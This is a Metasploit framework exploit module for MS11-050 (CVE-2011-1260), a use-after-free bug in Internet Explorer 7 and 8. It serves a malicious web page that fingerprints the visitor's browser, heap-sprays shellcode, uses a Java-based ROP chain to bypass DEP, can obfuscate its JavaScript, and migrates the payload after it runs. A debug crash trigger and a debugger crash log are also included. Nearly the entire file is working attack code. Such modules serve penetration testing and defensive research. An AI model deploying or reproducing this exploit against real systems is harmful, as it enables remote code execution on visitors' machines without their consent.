##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "7.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS
  #})

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS11-050 IE mshtml!CObjectElement Use After Free",
      'Description'    => %q{
          This module exploits a use-after-free vulnerability in Internet Explorer. The
        vulnerability occurs when an invalid <object> tag exists and other elements
        overlap/cover where the object tag should be when rendered (due to their
        styles/positioning). The mshtml!CObjectElement is then freed from memory because
        it is invalid. However, the mshtml!CDisplay object for the page continues to keep
        a reference to the freed <object> and attempts to call a function on it, leading
        to the use-after-free.

          Please note that for IE 8 targets, JRE (Java Runtime Environment) is required
        to bypass DEP (Data Execution Prevention).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'd0c_s4vage',   #Discovery, poc
          'sinn3r',       #ROP (thx corelanc0d3r), Windows 7
          'bannedit'      #Windows 7
        ],
      'References'     =>
        [
          ['CVE', '2011-1260'],
          ['OSVDB', '72950'],
          ['MSB', 'MS11-050'],
          ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          # In IE6 the mshtml!CObjectElement size is 0xac
          [
            'Internet Explorer 7 on XP SP3',
            {
              'Rop'        => false,
              'Ret'        => nil,         #Not required for non-ROP targets
              'TargetAddr' => 0x0c0c0c0c,  #For vtable
              'ObjSize'    => '0xB0',      #mshtml!CObjectElement size
              'Offset'     => '0x01',
            }
          ],
          [
            'Internet Explorer 7 on Windows Vista',
            {
              'Rop'        => false,
              'Ret'        => nil,         #Not required for non-ROP targets
              'TargetAddr' => 0x0c0c0c0c,  #For vtable
              'ObjSize'    => '0xB0',      #mshtml!CObjectElement size
              'Offset'     => '0x01',
            }
          ],
          [
            'Internet Explorer 8 on XP SP3',
            {
              'Rop'        => true,
              'Ret'        => 0x7C348B05,  #Stack pivot (xchg eax,esp; retn from java)
              'TargetAddr' => 0x0c0c0c0c,  #For vtable
              'ObjSize'    => '0xE0',      #mshtml!CObjectElement size
              'Offset'     => '0x5E2',
            }
          ],
          [
            'Internet Explorer 8 on Windows 7',
            {
              'Rop'        => true,
              'Ret'        => 0x7C348B05,  #Stack pivot (xchg eax,esp; retn from java)
              'TargetAddr' => 0x0c0c0c0c,  #For vtable
              'ObjSize'    => '0xE0',      #mshtml!CObjectElement size
              'Offset'     => '0x5F4',
            }
          ],
          [ 'Debug Target (Crash)', {} ],
        ],
      'DisclosureDate' => '2011-06-16',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])
  end

  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
      #Windows XP + IE7
      mytarget = targets[1]
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
      #Windows Vista + IE7
      mytarget = targets[2]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      #Windows XP + IE8
      mytarget = targets[3]
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
      #Windows 7 + IE8
      mytarget = targets[4]
    else
      mytarget = nil
    end

    return mytarget
  end

  def on_request_uri(cli, request)
    #Set default target
    mytarget = target
    debug = false

    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if mytarget.nil?
        agent = request.headers['User-Agent']
        print_error("Unknown User-Agent #{agent}")
        send_not_found(cli)
        return
      end
    elsif target.name =~ /Debug/
      debug = true
    end

    if debug
      data = <<-DATA
      <html>
      <body>
      <script language='javascript'>
      document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
      document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
      document.body.innerHTML += "AAAAAAA";
      document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
      </script>
      </body>
      </html>
      DATA

      print_status("Triggering vulnerability (target: #{mytarget.name})...")
      send_response(cli, data, { 'Content-Type' => 'text/html' })
      return
    end

    if mytarget['Rop']
      p  = make_nops(44)             #Nops
      p << "\xeb\x04\xff\xff"        #Jmp over the pivot
      p << [mytarget.ret].pack('V')  #Stack pivot
      p << payload.encoded

      rop_payload = generate_rop_payload('java', p)
    end

    code = (rop_payload) ? rop_payload : payload.encoded

    # fill the vtable
    vtable = [mytarget['TargetAddr']].pack('V*')

    #Convert code format so we can unescape() in JavaScript
    code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
    vtable_js = Rex::Text.to_unescape(vtable, Rex::Arch.endian(target.arch))

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    #Extract string based on what the setup is
    if mytarget.name == 'Internet Explorer 8 on XP SP3'
      js_extract_str = "var block = shellcode.substring(2, 0x20000-0x21);"
    elsif mytarget.name == 'Internet Explorer 8 on Windows 7'
      js_extract_str = "var block = shellcode.substring(0, (0x7ffc0-6)/2);"
    else
      js_extract_str = "var block = shellcode.substring(0, (0x40000-6)/2);"
    end

    js = <<-JS
    function timedRefresh(timeoutPeriod) {
      setTimeout("location.reload(true);",timeoutPeriod);
    }

    function enable_lfh(heaplib_obj, obj_size, max) {
      var vtable = unescape("#{vtable_js}");
      while (vtable.length < obj_size) vtable += vtable;
      var obj = vtable.substring(0, (obj_size-6)/2);
      for (var i=1; i < max; i++) {
        heaplib_obj.alloc(obj);
      }
    }

    function heap_spray(heaplib_obj, offset) {
      var code = unescape("#{code_js}");
      var #{randnop} = "#{js_nops}";
      var nops = unescape(#{randnop});

      while (nops.length < 0x1000) nops += nops;
      offset = nops.substring(0, #{mytarget['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      #{js_extract_str}
      heaplib_obj.gc();
      for (var i2=0; i2 < 0x400-1; i2++) {
        heaplib_obj.alloc(block);
      }
    }

    heap = new heapLib.ie(0x20000);
    heap_spray(heap, #{mytarget['Offset']});
    enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);

    document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
    enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);

    document.body.innerHTML += "<a id='tag_4' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
    enable_lfh(heap, #{mytarget['ObjSize']}, 0x200);

    document.body.innerHTML += "BBBBBBBBBBBBBBBBBBBBBBB";
    enable_lfh(heap, #{mytarget['ObjSize']}, 0x500);

    document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

    timedRefresh(2000);
    JS

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    html = <<-HTML
    <html>
    <body>
    <script language='javascript'>
    #{js}
    </script>
    </body>
    </html>
    HTML

    print_status("Sending exploit (#{mytarget.name})...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end


=begin
(b00.1ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=0294b920 ecx=0bb300c8 edx=00000000 esi=020be380 edi=00000000
eip=6363fcc6 esp=020be354 ebp=020be36c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????
=end
